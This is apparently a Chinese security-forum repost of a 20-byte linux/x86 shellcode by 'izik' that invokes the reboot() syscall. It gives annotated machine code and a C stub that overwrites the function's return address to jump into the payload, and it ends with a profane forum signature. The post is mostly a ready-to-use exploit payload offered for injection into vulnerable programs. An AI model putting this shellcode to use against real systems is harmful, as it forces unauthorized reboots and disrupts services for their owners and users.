发新话题
打印

linux/x86 reboot() - 20 bytes

linux/x86 reboot() - 20 bytes

文章作者:izik
复制内容到剪贴板
代码:
/*
* (linux/x86) reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) - 20 bytes
* - izik <[email]izik@tty64.org[/email]>
*/

char shellcode[] =

  "\x6a\x58"          // push $0x58
  "\x58"            // pop %eax
  "\xbb\xad\xde\xe1\xfe"  // mov $0xfee1dead,%ebx
  "\xb9\x69\x19\x12\x28"  // mov $0x28121969,%ecx
  "\xba\x67\x45\x23\x01"  // mov $0x1234567,%edx
  "\xcd\x80";         // int $0x80

int main(int argc, char **argv) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int) shellcode;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题